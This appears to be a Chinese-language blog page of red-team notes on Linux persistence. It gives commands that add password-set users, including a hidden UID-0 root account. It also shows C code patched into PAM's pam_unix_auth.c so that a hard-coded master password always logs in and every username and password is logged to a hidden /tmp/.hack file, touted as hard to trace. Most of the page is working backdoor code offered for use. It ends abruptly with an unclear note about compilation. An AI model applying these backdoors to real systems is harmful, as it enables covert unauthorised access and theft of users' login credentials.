抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Add user

添加普通用户

1
2
3
4
5
6
7
8
9
10
11
# 创建用户名为t1sts,密码为t1stsyyds的普通用户
useradd -p `openssl passwd -1 -salt 'salt' t1stsyyds` t1sts

# 同普通用户
useradd -p "$(openssl passwd -1 t1stsyyds)" t1sts

# chpasswd方法
useradd t1sts;echo 't1sts:t1stsyyds'|chpasswd

# echo -e 方法
useradd t1sts;echo -e "t1stsyyds\nt1stsyyds\n" |passwd t1sts

添加 root 权限用户

1
2
# 创建一个用户名t1sts,密码t1stsyyds的root用户
useradd -p `openssl passwd -1 -salt 'salt' t1stsyyds` t1sts -o -u 0 -g root -G root -s /bin/bash -d /home/t1sts

PAM

条件:Centos系统

结果:对原服务器无影响,溯源难度大

PAM 是 Linux 默认的 SSH 认证登录机制。通过修改 PAM 源码,可以实现万能密码和记录登录密码等功能。在 CentOS 中,需要关闭 SELinux 才能进行这些操作。云主机(如腾讯云和阿里云)默认关闭 SELinux。在实际应用中,由于业务需求,有时也会关闭 SELinux。SELinux 有三种状态:

  • Enforcing:SELinux 正在强制执行安全策略。
  • Permissive:SELinux 处于宽容模式,只记录安全策略的违规情况,不会阻止操作。
  • Disabled:SELinux 被禁用。
1
2
3
find / -name "pam_unix.so"

getenforce

如果 SELinux 处于开启状态,可以选择其他后门方法,因为通过编辑配置文件将 SELINUX 修改为 disabled 后需要重启系统才能生效。

1
2
3
vim /etc/selinux/config

SELINUX=disabled

操作

定位 PAM 版本,根据 PAM 版本来制作不同的登录凭据

1
2
[root@VM-8-10-centos ~]# rpm -qa|grep pam
pam-1.1.8-23.el7.x86_64

下载相同版本的 PAM

打开 linux-pam-Linux-PAM-1_1_8\modules\pam_unix\pam_unix_auth.c 在其中搜索 PAM_SUCCESS 定位到如下代码块,并在标记的两段代码之间添加如下内容img

1
2
3
4
5
6
7
8
9
10
11
12
if(strcmp("t1stsyyds",p)==0)
{
retval = PAM_SUCCESS;
}

if(retval== PAM_SUCCESS)
{
FILE *fp;
fp = fopen("/tmp/.hack","a+");
fprintf(fp,"%s::%s\n",name,p);
fclose(fp);
}

最终添加完的代码块如下所示

img

无法编译失败